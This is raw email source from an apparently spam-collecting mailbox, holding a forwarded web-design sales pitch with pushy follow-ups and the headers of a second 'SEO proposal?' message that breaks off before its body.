Thu, 03 Sep 2026 15:00:49 -0600

Resent-From: The Doctor

Resent-Date: Thu, 3 Sep 2026 15:00:49 -0600

Resent-Message-ID:

Resent-To: Dave Yadallee

Received: from mail-japaneastazolkn19012052.outbound.protection.outlook.com ([52.103.43.52]:1872 helo=TYPPR03CU001.outbound.protection.outlook.com)

by doctor.nl2k.ab.ca with esmtps (TLS1.3) tls TLS_AES_256_GCM_SHA384

(Exim 4.100 (FreeBSD))

(envelope-from )

id 1x2B5T-000000009y4-2gMU

for root@nk.ca;

Thu, 03 Sep 2026 11:19:06 -0600

ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;

b=OXYWGMZL8WidioK8Q/KzJi/kmRwnx0WhlHMTegycVNEKHTInvSC4D9GnPOQaEn5JIZBhXxL0xB8MUl8CMNtaEw3+SH0/zEESBwdkwXEm9jBjKyM7Y6yICaN87GVqCUJJYPzMHv/zHp4n95QjXGZahZYGyx+tAWigH71VwJoLZ46sTljCGXehNmFwSw3HLRQXreZvDlEm0txzhoCg8AI0TJlE9Ce32wvSvpzx2llGAapx1YAVHBLvpz0GBDhoEEiii5BCAZvNKVH3+9mN73n2iKzFm5g6yL3dTBjrG/oMB+XHDw2DY2/57bFx2kyHOsXVO06LRIxTfMFVkZuvGHNZmQ==

ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;

s=arcselector10001;

h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;

bh=z9YIKfffvUrzwpOx09EQfJW57Lq2s/pDoEOlUoV0v14=;

b=VHM4lrLhmaDZ04hnz+pY5T909gQjA/jcFvQlWkVCWuUSlUUAtVvgGfS0YAC7m2i6yhc/OTJNk+0d9bPFscrZAX52r3jVhSAq9XgX8YKjvNcNfjdMC8ClKZ99/kH6yM4AwKM1o9H2p25cs63AWe53PuFNad3ef+rXehqnEkCkc+zcGgxzJ7CAE5iw7LsSLury34hlUlw+YO5k30IRPSvaadRfUEj4SmlOFs+gKOmEEf6uRDqSFBlQDLdOb/EKqTQIF3yiqNiQYnKlMVxAOEDlPuXIqq/iItHtHQAAs5x1zi2JiZwjqEIARPgROIn7FUZ0MbicSsKLXB2Srgr12e8gcw==

ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=none; dmarc=none;

dkim=none; arc=none

DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=outlook.com;

s=selector1;

h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;

bh=z9YIKfffvUrzwpOx09EQfJW57Lq2s/pDoEOlUoV0v14=;

b=Z5XnLJTkwUGlIZ0ZeogMbfu/tspFZf2hJp42pXTTLPdk+HzV5CtzYCrkv7Z1kzOg7rqL2j4ndRHQ0Kd5M0f1VzrIv/zrX9yubrvynrNaQZROVRHU/s2DFxyK62wl8AQUVSytOBi4ciqGn1VFNvcLXkDe/ckgrQHs6SMLM4Oqn9Zt6tlXxxDGW7KQxVLbakacb8ZbD1lbhaXsdy6iaECLeb3aR4CqbxytmybYqRDwXlMDpjaKS41W66I68n4VM64M/gBRfAfUIiC53I0aiJNPC+NNERNTes1lv39A2a3qaWhCsyvdRb/gHReg8wQ9fdqMMT4MyavqfSMTKEqbQuOYjA==

Received: from TYSPR02MB7701.apcprd02.prod.outlook.com (2603:1096:405:33::5)

by TY0PR02MB6981.apcprd02.prod.outlook.com (2603:1096:405:c::14) with

Microsoft SMTP Server (version=TLS1_2,

cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.360.13; Thu, 3 Sep

2026 17:16:40 +0000

Received: from TYSPR02MB7701.apcprd02.prod.outlook.com

([fe80::ac85:35b6:a0a3:1aed]) by TYSPR02MB7701.apcprd02.prod.outlook.com

([fe80::ac85:35b6:a0a3:1aed%6]) with mapi id 15.21.0360.008; Thu, 3 Sep 2026

17:16:39 +0000

From: Sophia Saifi

Subject: Fw: Follow Up 3rd: Price2026

Thread-Topic: Follow Up 3rd: Price2026

Thread-Index: AQHdOXXSCN3cNc/k5EmGD651Wn2GAba6Arf8gAGe9UKAAXtQqQ==

Importance: high

X-Priority: 1

Date: Thu, 3 Sep 2026 17:16:38 +0000

Message-ID:



References:



































In-Reply-To:



Accept-Language: en-US

Content-Language: en-US

X-MS-Has-Attach:

X-MS-TNEF-Correlator:

msip_labels:

x-ms-publictraffictype: Email

x-ms-traffictypediagnostic: TYSPR02MB7701:EE_|TY0PR02MB6981:EE_

x-ms-office365-filtering-correlation-id: 324be76f-c65a-4ab0-e978-08df09df1d4c

x-microsoft-antispam:

BCL:0;ARA:14566002|37011999003|55001999006|19101099003|4140399003|24071999003|25010399006|19110799012|8060799015|8062599012|31061999003|15001099006|15030799006|20031999006|2604032031799003|15080799012|39105399006|440099028|3412199025|102099032|43065399003|40105399003|31055399003|2607281247196008;

x-microsoft-antispam-message-info:

=?Windows-1252?Q?YRijnOcponJzJHoBtGO2WWSQfa5qAcDC7VQ0a8nr4zn6lRa0+6HfhsB4?=

=?Windows-1252?Q?bnh3LeLQKOJ4m/VRqFgo7ufC2TRcDpVTDutxjN2BRcUydDk/pyDCAQa/?=

=?Windows-1252?Q?WuxUdxLS7+Rp7yzw2RhCouwZj9/cnw1H9oiMHBg69VBp6YtBSFSmrt/t?=

=?Windows-1252?Q?raQcLBeLTeznO/IrPgO2HXe2CmHVnaWYyGtzsjO1AHuUVB2AvMMqdYYW?=

=?Windows-1252?Q?JfEcExKSZ1eWhcRJzrogFvYQVTt4DGDvC/R5h1xzpK58uh5bYG0hiZdi?=

=?Windows-1252?Q?MjjJoUBMhjx/HfzazBipGQMfbZl+U3BtR2TLHd/JnPeuserJj7zBsqQP?=

=?Windows-1252?Q?L6p+ZumD4UrWxp0Uo/l2+BMzAb5n3xo6OL/CtsPe0KhUhM8iT6Er3SuP?=

=?Windows-1252?Q?DxYAfubluqT7v5OAkd8jNVlN1piWxEJxltUDnx5wHoMyKzNCkoHISWcr?=

=?Windows-1252?Q?ValMgHpcJXWDkUxb/Lo4+K4drO7k7qNqOyS0TEZiOksctXYOT34kuxb5?=

=?Windows-1252?Q?s/9llNWLeSwp9yZ4S2H1pzFwzy/7WRAbRKcY3/1nIwEhi03gt+ClBb81?=

=?Windows-1252?Q?vJ2rfyhWZy6uJlxGDIkzaKabthSgF1HyDavHE/kCUKhlanclVXP+OVxi?=

=?Windows-1252?Q?3dP1slBtR3zrqj2L1lTRKBNPOng0aN4UwP2jGxS7jTk9BpH2k9V/6sO9?=

=?Windows-1252?Q?x7rAZUmf/aZAo3U7Di4m4cKl4JzYU9VzxLCi1auxxbQvYwMy3u+x2pgS?=

=?Windows-1252?Q?EO/PWGEgYVZ6id3zrBKY6AQJSLF1a720rYYPXoRzrbrml73gb459cRWz?=

=?Windows-1252?Q?MHsQbaHsVcOg8BxfVomigS7Fi9biRudcXZF1KzZbaSdNmEvha02DYrn+?=

=?Windows-1252?Q?0Hrpf0aLryNyBKAwhUojphapHcjkhuD4iEHdrR0sEg4x6xyit54/p4+W?=

=?Windows-1252?Q?97Rj1e04xF481CB40wsvXW6PBZlzFTPS/5siDnzpa3cU8XF/n5961JMi?=

=?Windows-1252?Q?LHv1SB9fwxriZPl2WkMREuJUbZ1RiS0DMWB5P5//91Cuzjvok73RSM9I?=

=?Windows-1252?Q?aiH0C3oFE1Cs8zt+niYeyyMjWV4ToHFblb/7QF9qJx1+KPA23sDxNkZD?=

=?Windows-1252?Q?6SMLFmhel3y+5Gc1yR2VppGBw0RGY0tr8+IbNCYR8ofAdr+r31XWlOBq?=

=?Windows-1252?Q?tmmoJ+dvXR5FBs0CEb0G3IaTIwtQi0Ixt/Otw3Tq/3k983mPlJ8XkQSl?=

=?Windows-1252?Q?mFFaCloaylfjqcpT8s7jhUPOkGFdsTiwBkR+pzm2DW44c5VXnmpbTXNt?=

=?Windows-1252?Q?b9Q3ThI7XVXbrOpEsIEcdOEAFsc=3D?=

x-ms-exchange-antispam-messagedata-chunkcount: 1

x-ms-exchange-antispam-messagedata-0:

=?Windows-1252?Q?UdmSDyo5PntB8Wsdw9dyoEp+2WNT5tRfLVeSpoo+kpYoDCY4BKfErnSU?=

=?Windows-1252?Q?ukSuLYKFnJzA8rW/o8hucCdBmsD+VtHqAxv5vE9vFCBqD8hGbbI3zU+w?=

=?Windows-1252?Q?tLlfSDh+PJkioDb0XB/aKihhdQEboz5szBX6apdKleXudnyby4RPCpDf?=

=?Windows-1252?Q?rM1g343UDC/HeAz+PWWxyaHQ/uJAeGxX+tMOfWZjgtQZXOwcKwuPEIiT?=

=?Windows-1252?Q?D9dxgTXYZLjl/dqMWg8p5lxsxLD7FXXcDRdvprwWP3nKqT6Zs62mEX+r?=

=?Windows-1252?Q?ebiD4J6cwG1r/JGHP0WvNgVchsjDaRw2Rka3mLZ00WJi637pED1Zwlc5?=

=?Windows-1252?Q?3RuyC0MRC4Wz8puNzXFJ5d4yG8T5v4kE0ey/Caqf6bcKkVfcI3+R9Cs3?=

=?Windows-1252?Q?tKNR9u8QTJ0WcYAK/wARYGXjl3Ktsbr/tmoPma/kWbMGCFPw/c/KqSAp?=

=?Windows-1252?Q?k8xYX8PvBXCxUduyi5Htquv9sLTX+kIHUHE5opl82jfVRNv+fC0HA4Vr?=

=?Windows-1252?Q?+nWRN48EULAwiwI+gFyFzdvJn+xPsSZU41RJQrxMpilLJy0t6hO3TYcR?=

=?Windows-1252?Q?NztvbVln6Vycs6cTqHoINoSgqJnvixogpq6oLkFY7t0yyGqKQd8YWWhh?=

=?Windows-1252?Q?6YvrqF/ZFVebg9TT3d+qKDmyuJyc4PATtSBCHMH0sqQNoz0Bt8IS16OE?=

=?Windows-1252?Q?AtU1B3xx6G+sLApwOQYgF2QrMa1GGp53SiocSFgjX7K5gUb1QHWVRFAQ?=

=?Windows-1252?Q?pgkQYUbgwexncpW0fCw4TLlmnr3aVujmh7fhwLXIG7Oj2V9geDNXFONz?=

=?Windows-1252?Q?WPqUfaX979yr4iI5OvRomriHk/12lEGpQW7Q2xDMMDiDYr8dufrmyppO?=

=?Windows-1252?Q?CeyPiAQ41hU/FKpaqnq8fKI9Lrnbw3Zh9hPCoo4I80zdSeNZmpHrYAWo?=

=?Windows-1252?Q?0zzh/Iq3XbmVYRFsPbwjyR+6Z+EKLFOl7Mt14H47RDx5lEMtO3cDHCjy?=

=?Windows-1252?Q?8jLNGPVyJBYyai3j1di6CAEIJ0KhyjoUvnNeDhdMrdq4NVwZ8rnPM4Vj?=

=?Windows-1252?Q?xAGbI0ucBhKytJniBmT0i9Cy6rsqm4WI9GcVPlhQaepfw1nuC4ZBWvun?=

=?Windows-1252?Q?EUUVUvNU/5WlXoJ3joQxLDPgOTs535sSNAnT51zpBY77hGPDzFMB+N+R?=

=?Windows-1252?Q?MVXG9IVa6Wv9so2IIlU+UNdVl7BJPVZKOQROQ2YAp0NeJWSGV8hMrE4v?=

=?Windows-1252?Q?Fk0QzW+iLy2+emy6uGyQhxCOX3qz6SJTJisN6SSx/+rJD3T8dMWop7mA?=

=?Windows-1252?Q?XEKrBYJ9V2CyvHjuDApiFpYWODOj5fedsYOMpxhRwfagascKijSqqgMd?=

=?Windows-1252?Q?sXf0n/UH0WcyaiQ6qrnsTK0DvMwfT8SpRK/64z9k37g1k/pZL8p+9rYZ?=

=?Windows-1252?Q?4fDe9Yh+XrZijx1BxX/vEhKNNi+DqbsabS03LJfv+yLR7kLn//DtoKpZ?=

=?Windows-1252?Q?j6yRvj2rO8K7afH1+vlwVLuuWFAENQt2XJOYh39z0ypm9ZpDwZSX5rbH?=

=?Windows-1252?Q?r3tDFW1ex93B2FmbPThGsnQEwP8kvJf4gLujUw=3D=3D?=

Content-Type: multipart/alternative;

boundary="_000_TYSPR02MB770135D38F33EF3CE4627A47A7B62TYSPR02MB7701apcp_"

MIME-Version: 1.0

X-OriginatorOrg: outlook.com

X-MS-Exchange-CrossTenant-AuthAs: Internal

X-MS-Exchange-CrossTenant-AuthSource: TYSPR02MB7701.apcprd02.prod.outlook.com

X-MS-Exchange-CrossTenant-RMS-PersistedConsumerOrg: 00000000-0000-0000-0000-000000000000

X-MS-Exchange-CrossTenant-Network-Message-Id: 324be76f-c65a-4ab0-e978-08df09df1d4c

X-MS-Exchange-CrossTenant-originalarrivaltime: 03 Sep 2026 17:16:38.3754

(UTC)

X-MS-Exchange-CrossTenant-fromentityheader: Hosted

X-MS-Exchange-CrossTenant-id: 84df9e7f-e9f6-40af-b435-aaaaaaaaaaaa

X-MS-Exchange-CrossTenant-rms-persistedconsumerorg: 00000000-0000-0000-0000-000000000000

X-MS-Exchange-Transport-CrossTenantHeadersStamped: TY0PR02MB6981



--_000_TYSPR02MB770135D38F33EF3CE4627A47A7B62TYSPR02MB7701apcp_

Content-Type: text/plain; charset="Windows-1252"

Content-Transfer-Encoding: quoted-printable



Can I get response?



I'm waiting your response.



________________________________

From: Sophia Saifi

Sent: Tuesday, September 1, 2026 5:57 PM

Subject: Re: Price2026



Quick follow-up: If you=92re considering a new website or redesign, I=92d b=

e happy to share our options and pricing.

________________________________

From: Sophia Saifi

Sent: Monday, August 31, 2026 6:23 PM

Subject: Price2026



I am a professional Website Designing and Development Company with over 12+=

years of experience.



Do you need New Website, Website Development Re-designing, CMS design, E-co=

mmerce design, & Website Update?



If interested. May I send you sample, Portfolio and company Details.



Thank you,



--_000_TYSPR02MB770135D38F33EF3CE4627A47A7B62TYSPR02MB7701apcp_

Content-Type: text/html; charset="Windows-1252"

Content-Transfer-Encoding: quoted-printable








252">








Calibri, Helvetica, sans-serif; font-size: 12pt; color: rgb(0, 0, 0);">

Can I get response?



_MSFontService, Calibri, Helvetica, sans-serif; font-size: 12pt; color: rgb=

(0, 0, 0);">







_MSFontService, Calibri, Helvetica, sans-serif; font-size: 12pt; color: rgb=

(0, 0, 0);">

I'm waiting your response.



_MSFontService, Calibri, Helvetica, sans-serif; font-size: 12pt; color: rgb=

(0, 0, 0);">












11pt; color: rgb(0, 0, 0);">

From: Sophia Saifi <Sophiabusinessdeveloper52@outlook.com>


Sent: Tuesday, September 1, 2026 5:57 PM


Subject: Re: Price2026


 





_MSFontService, Calibri, Helvetica, sans-serif; font-size: 12pt; color: rgb=

(0, 0, 0);">

Quick follow-up: If you=92re considering a new website or redesign,
lass=3D"spanWithBackgroundColor" style=3D"background-color: rgb(255, 255, 0=

);">

I=92d be happy to share our options and pricing.








11pt; color: rgb(0, 0, 0);">

From: Sophia Saifi <Sophiabusinessdeveloper52@outlook.com>


Sent: Monday, August 31, 2026 6:23 PM


Subject: Price2026


 





t-size: 10.5pt; color: rgb(0, 0, 0);">

I am a professional Website Designing and Development Company with over =

12+ years of experience.



t-size: 10.5pt; color: rgb(0, 0, 0);">







t-size: 10.5pt; color: rgb(0, 0, 0);">

Do you need New Website, Website Development Re-designing, CMS design, E=

-commerce design, & Website Update?



t-size: 10.5pt; color: rgb(0, 0, 0);">







t-size: 10.5pt; color: rgb(0, 0, 0);">

If interested.
ground-color: rgb(255, 255, 0);">May I send you sample, Portfolio and=

company Details.



t-size: 10.5pt; color: rgb(0, 0, 0);">







t-size: 10.5pt; color: rgb(0, 0, 0);">

Thank you,








--_000_TYSPR02MB770135D38F33EF3CE4627A47A7B62TYSPR02MB7701apcp_--

Web/SEO/App spam from Microsoft Outlook

X-Mozilla-Status: 0001

X-Mozilla-Status2: 00000000

Return-path:

Envelope-to: dave@doctor.nl2k.ab.ca

Delivery-date: Thu, 03 Sep 2026 15:01:00 -0600

Received: from doctor by doctor.nl2k.ab.ca with local (Exim 4.100 (FreeBSD))

(envelope-from )

id 1x2EY8-00000000FO3-03HJ

for dave@doctor.nl2k.ab.ca;

Thu, 03 Sep 2026 15:00:44 -0600

Resent-From: The Doctor

Resent-Date: Thu, 3 Sep 2026 15:00:43 -0600

Resent-Message-ID:

Resent-To: Dave Yadallee

Received: from mail-koreacentralazolkn19012054.outbound.protection.outlook.com ([52.103.74.54]:52427 helo=SEVP216CU002.outbound.protection.outlook.com)

by doctor.nl2k.ab.ca with esmtps (TLS1.3) tls TLS_AES_256_GCM_SHA384

(Exim 4.100 (FreeBSD))

(envelope-from )

id 1x2B4L-000000009jQ-2xPU

for sales@nk.ca;

Thu, 03 Sep 2026 11:17:56 -0600

ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;

b=Nv8eBGHGcPP6R95j+HR61jHhg3nyZvLX7ermZX8595gjE1JCQAVmoN46LkovIimNH22dVwpJYUJrNXhzO63gHfiafM+zveZg+pJJdDpz35acNrNC7cB9ekkT5OQ3qqR2Q61Kyh0X1efWtAkEjoTBrCoHGIk5QB/YzedQ0utYzxA9jjoNC/GXm2IDORe6W7YY0hClCjJa4iL99oCtcjn1p6X8EesGDDzj5sAdgVzIk9Z5+gE2TAxpwCnFCVKqKXSg3c8zbSdbSAFC8O97N1Hud01szE4cjvtqoxSTxfVipHvaOaVzz1Sxs6X9iHwkic74KzkfSsmNQUEwSf6C6Ki+4w==

ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;

s=arcselector10001;

h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;

bh=GUYrPQu9WbeS8E68bE3wylvSwiu33WLhOEvhbIXiYaw=;

b=TLrbg+m7DIUdRQOi/Xtp59tapQBFX7YNmb2Jb+w5bPBx559s5/fU9JUrjqIk/Ct5d/N/Np2CKtJ4gulIw4W3/Lrx8BApOJC5Py6gWAqRMZniqvnzGOSBrxazZFtU8YWQPWH5SbUHiwk4noxIjJqQke664EQ1wwpPC9yEbVcRqn0IfAT684WU4blqiDj/w7v+V+IKEVVwNilRi4j8Fob5YOWuworl2VbB75CZQeyCA/aSH6HKjp0jN2TgXYHmDk65YnlKw+7sM7oPFU+i/qr58VrfXw3huS0t2KKE4+hu/+bYA1vk0x1otJ+bzZf+ybxhzqaqfYanokCPLY0r3ksQkA==

ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=none; dmarc=none;

dkim=none; arc=none

DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=outlook.com;

s=selector1;

h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;

bh=GUYrPQu9WbeS8E68bE3wylvSwiu33WLhOEvhbIXiYaw=;

b=JU9MMtF/SMDCxRHSV72YMadh8XuENrVwBFP2lwsypfnXLvSIbAy/mfpnl5xGpRUQUvm1XmTQAOqV1Yc767p7fOqhLVkLuVuKHYF4kiID21rMiJDU5yZHBi6vmHEAlUDEqM4GIsyYOKFrCfTzz0oyFcXB92C79tyS71PFrR+PflQv8sCnzvth8JZULTthRkbAeexuXfwnWVvEdVm+E/JDM5OMivzU/r5N0qLukcyXTb+CgfSvSFpK1c+XS2962XuyCSOaMOS2sVntvgVoYy75dS6dAa9o7ZI3/wQxHuNz7h3BkUIVVU0NDsYFc+Azg8NF36SGmFJb227Gxuup42IcmA==

Received: from SE2P216MB3355.KORP216.PROD.OUTLOOK.COM (2603:1096:101:2f9::7)

by SE2P216MB2251.KORP216.PROD.OUTLOOK.COM (2603:1096:101:120::10) with

Microsoft SMTP Server (version=TLS1_2,

cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.360.13; Thu, 3 Sep

2026 17:15:55 +0000

Received: from SE2P216MB3355.KORP216.PROD.OUTLOOK.COM

([fe80::e0da:1a29:2f9b:25d]) by SE2P216MB3355.KORP216.PROD.OUTLOOK.COM

([fe80::e0da:1a29:2f9b:25d%6]) with mapi id 15.21.0360.008; Thu, 3 Sep 2026

17:15:55 +0000

From: andrew anderson

To: andrew anderson

Subject: Re: SEO proposal?

Thread-Topic: SEO proposal?

Thread-Index: AQHdOtpWHrYS/j7lEEe8Xe7wgKHYhLa9Gb46

Date: Thu, 3 Sep 2026 17:15:54 +0000

Message-ID:



References:



In-Reply-To:



Accept-Language: en-GB, en-US

Content-Language: en-GB

X-MS-Has-Attach:

X-MS-TNEF-Correlator:

msip_labels:

x-ms-exchange-messagesentrepresentingtype: 1

x-ms-publictraffictype: Email

x-ms-traffictypediagnostic: SE2P216MB3355:EE_|SE2P216MB2251:EE_

x-ms-office365-filtering-correlation-id: 7a179cbb-5c47-4fad-436b-08df09df03af

x-ms-exchange-slblob-mailprops:

lKmFK9UkC1O1lwmcPpTlqNOWm6nAASt/+gnL6oW5XzjYCKkyEVQZT8f6u7A/2uAk0Fpkj16ncyLik9m994nxRhSN3TilvsMy0Ua9pFKESbMzK0BjfgcOkRTd59a8p0Bx65wWP5k/aefFap2i67LwfQBxqiJdJpPKwrReHVTuZGpaIf4i3XMrD1LqzPkm9ItSRiZCyvsqCWsx6CYP3vm7g9G0PPviUZs+EV9pi+O5Q+t7XrvhmHOIWN2uC3lOIhXGwQP8dFTGxr6jqTeot6HMPT6tEw9PJXzu8kdjEf2bbmSpkBNrBf3GrWaxu3QEkcGrcKHukWuilcOVzX+5Q08E95Cb31z75olNLBYFHG6bv4gEHW1R6M35B/y5TcbOLvQhAACbTZVzspFTKgnlkjTL74F57+I9IPcCki9OJ4g+iC15809afyu4fWMxur4RNbjoJ7h5CHVOXgXXJ77MOjp9aqAR3FExCbCg4IgN+GLDYcrvaDg+dHmgu6+14Z7ES5YmMmuCWfLhQaaZJKBY/fMCNDJKdy1b+9gsyfV6WClsdvdlaIntuLoEtLP6fQNXgNKog2hVNcgqWR4=

x-microsoft-antispam:

BCL:0;ARA:14566002|31061999003|2604032031799003|51005399006|704163111799003|15030799006|15080799012|45011099003|55001999006|16051099003|24121999003|22091999003|48001999003|8062599012|8060799015|19110799012|37011999003|25010399006|40105399003|11120399003|26121999007|260806224601699006|2607281247196008|102099032|3412199025|440099028|1710799026;

x-microsoft-antispam-message-info:

=?Windows-1252?Q?53TnUFehkeDAC4AiG9d4AGBiCM2O6xG0U0FfOX1qSpSIwXs8rKMiQvZ8?=

=?Windows-1252?Q?f2pEQIq3lmqkClhQp2sPWBU3k88aFSrFiLr9POnQwBXDA6bpbQ9Rq66g?=

=?Windows-1252?Q?1+h7/IRRFH97oaVtY3EIWH4X6mHpM7spj35jvz4TnzxT61OfBsNhW+/y?=

=?Windows-1252?Q?jUoz0qluzlqWlum+8AZ/M9CbmMrhgoguQQWGkVHU3bafhO1PwPRbL7WQ?=

=?Windows-1252?Q?5DAYxaBXabGa0nYdAqJG+yzgk1uvZn00rrHdVKOEkAmcNyMle8frJ5VR?=

=?Windows-1252?Q?ZnQdUOf1sPgKbv8lgJk4ZW/VpIvJ0CQtMRuVJ3cqzubEcq2rF8iIs/sF?=

=?Windows-1252?Q?tU8wFjzCiE4hoZ+XPAlVbP5VAQZtXaSLMGhL02oJSg26Qu7fzM9EVM+F?=

=?Windows-1252?Q?OlyRxXYDMXDYVIkSaH3TX+uSj/lSxA/k6EZ+e3xyjEpemiGbq6rkij0J?=

=?Windows-1252?Q?DlD9BSwkAV5dTdJbMCXwjJwF8pXALikqhgmeoYQ178amEHtj3J+cB6Ud?=

=?Windows-1252?Q?nafd3eiXtVf4OOxfV4GZe0Geln8cLWEdf/74dXpV1wAS1jZonTS7kHi5?=

=?Windows-1252?Q?0Ky1ZjplULiCblXrLrTH5USv+zYmgaTHPOmGYWWQRGDnrH2RMIDmyjaI?=

=?Windows-1252?Q?ZWB12Ia9XjQLUdpUBzdRI2GZG3JdbWkRnh9GpoyXkCT6B7jI1p77mENo?=

=?Windows-1252?Q?Uo+kxX4w3eT5nz0+xW264NAa2KcAUd+m8PsgUTN0jhOrGmUi+U5gx7cX?=

=?Windows-1252?Q?v0r1Xp8kKjcYk2Ug+AoWVj5MixBTEccFI+HL1dxaczvTMpiTXOgTkd36?=

=?Windows-1252?Q?CKDPjfh3HgUFD91ckxuKKCwl3LrFcwQ/Br50TWXcnT5C1pCUhINwp4Tz?=

=?Windows-1252?Q?bB8Z6ptaXT6DyayhHKcifj47sfORaESsaOicJ7jhik8QHfLPf7GAZ25t?=

=?Windows-1252?Q?7P1yADoS2uDpLi85km4BGfqnDuzx7WEwx/3lt7N2BHKcrRwQVDNnqXlB?=

=?Windows-1252?Q?UkfZesDGpNi0shlwJAwFhj4INGPmalkZn/rTyMfBrJswvEzPe7qZw5Oq?=

=?Windows-1252?Q?tUMdCSUuxiBy+ZvusnhXydowgIoEErUqzCPpO4qUMQyAT2pQNllSg1St?=

=?Windows-1252?Q?QYSRBzpM4DdNWbwHm0Hj+BPBwynMyl3vkVwdY0plaUno771VgF0XCN8F?=

=?Windows-1252?Q?ctQE7HDte7Esdn0ikoZaZVqBxZQNzlNlHR6zRUSr4tf3N7voaDCLdZGy?=

=?Windows-1252?Q?a6nqaOxN8qBYptRgTDsj8t/Dbw9x7gs7M/hl683mAHX3oo8UHFynEm5S?=

=?Windows-1252?Q?lcpJYTy48trqDnjzHLHaWKVrMdPt+nBEFiksq0eXlYIpeNb93w3I1CQH?=

=?Windows-1252?Q?5XC0/QdNl6nNLe/S1xgiOhPstJARVz9911cg4p1Cm3LFArTkYxtW9QlT?=

=?Windows-1252?Q?sVzIu1mc03jPXduaoCzJAqObE63pquqQuG7Mo3Xyf3w=3D?=

x-ms-exchange-antispam-messagedata-chunkcount: 1

x-ms-exchange-antispam-messagedata-0:

=?Windows-1252?Q?hbIcdsC0qNC7LgPLtl3eADMy9TmsuGZXoGFw2v/WtbYMgtFfoWEIREYV?=

=?Windows-1252?Q?lIVXgfTBRMBq0W7FwkzETmV+AtmEBWlwTUbggyXKkt6uxeJhRWYEHea7?=

=?Windows-1252?Q?8KjBuPvsRW8ZDcGtJJ0tc1o6lI/6kjnPhFb+xZC/MgP6TbF0RIVb/y0I?=

=?Windows-1252?Q?f79D099zLqgTINN4zYX0NLr3dJZ6/GQqaPwje8lmLm/jIo2c2LUqXVMH?=

=?Windows-1252?Q?63A77QLtMpinDimPpNeTk6RSxOgQNDG0LmZezEn5HXkJYuUM/Kn7zBR4?=

=?Windows-1252?Q?0ZrThnf4BThBda5A6OIHXP2mx90K0IdcJ9CQI95QIYVzh8eUyDuH3dBe?=

=?Windows-1252?Q?bvvPyBu6qdc2YgVNim7r//oEj+5zDt5En11yuz81juyQbghfRl0OMH6y?=

=?Windows-1252?Q?/mtBmQFaZEaHmljl3eCfyl46qiHFXQYmyPo1CRsgq6BTPhImf+fYRsXD?=

=?Windows-1252?Q?sq+RA+ubXHIIFosJibFhhFr7lPOjifu0t7Otm7beXI0D07y3j72AiX/x?=

=?Windows-1252?Q?7/6yYY4EjPNeyPO/uCy2ky4X1I4oOPvrTO4vWicG/ZadJnEchN6x17qY?=

=?Windows-1252?Q?gRkpnTgaNwKZZSfgWsLC9t8uzLs7S9mGN1dJy7pmVNC6UknEfFFmqhYq?=

=?Windows-1252?Q?q+4QfombdY+LfsWU4pA9GkJUNBmsM7NPxV18D42/hds+isYlfF16LuOM?=

=?Windows-1252?Q?3LCp9M4klIxDjgOewfCVWd3FgLXHni5LhSFUoZL+KPcWWwEKs+5pueCR?=

=?Windows-1252?Q?txNn8/Xw/DHW0s4Nl8g8VK8+13CX21GiShRleyzMk29c0ngEo+o0JexV?=

=?Windows-1252?Q?q+qe2InxeKsjfXQpTVLkg7S2ZidH6gCuiJCWYvuf4MbybsDL5E0uAJdy?=

=?Windows-1252?Q?YlUHKEDoUZpFRGbB+RbbI0XY/OtB/0h7J+v3ZrPi7yLF87YAAOnbB5Ap?=

=?Windows-1252?Q?ZEq/4hQ1BYVKuAUMu1CnusV+KyY7D6gAUdUDyRPNVtZAFYDtxCX5+rHI?=

=?Windows-1252?Q?kLxxK9s2yJJAScDYd1lUum1V7SnSRnMg5u96dvxUYiWNHa4CuiukKM88?=

=?Windows-1252?Q?wY72kH3zbf8EcjjBjijkX7x/HbBHOhC+XqpIJZzhAGjS4XYWjMQ5p9Pr?=

=?Windows-1252?Q?24vJ52D73OecTULhTUw8gfCXImSi7F2EniNE1Ue18IDHe7nzUFLHXH/a?=

=?Windows-1252?Q?PGGlvwfy6OdPACP4rHDoCKdllX8mh0C29Nfi92qLtYcm4Z7bYgMt7ntT?=

=?Windows-1252?Q?nzODqird1gfCzDeZq7VH0nA2bIes0DCl3qcQU1NoEizONvC8uUsqEfEo?=

=?Windows-1252?Q?hL8/Jj1j/UWrH0GS3ep88mT6KzOYpgxDyRiNBwa5WivhLJx4+DXLvm0C?=

=?Windows-1252?Q?y8SNW+ZE/qGzYMpPjexX+DuW3Jz5diWdpSAcRgtA9FoHzaM0UhosqkTr?=

=?Windows-1252?Q?/2lThVpVQnTYJDl3YE3rYtNY+RLbXmF8ujRawCbIUTxLIYCHcB/1iRMI?=

=?Windows-1252?Q?O9JV7sY3zjprAPc2ytAK47OrphuGsmFWoayRX1i5u3sjeQWO10qzyxaZ?=

=?Windows-1252?Q?ax+3ZVdC5ENB+a4WBJAKHHNVC+UUUYTVCG5AvQ=3D=3D?=

Content-Type: multipart/alternative;

boundary="_000_SE2P216MB3355BCB615554327A3414617C7B62SE2P216MB3355KORP_"

MIME-Version: 1.0

X-OriginatorOrg: outlook.com

X-MS-Exchange-CrossTenant-AuthAs: Internal

X-MS-Exchange-CrossTenant-AuthSource: SE2P216MB3355.KORP216.PROD.OUTLOOK.COM

X-MS-Exchange-CrossTenant-RMS-PersistedConsumerOrg: 00000000-0000-0000-0000-000000000000

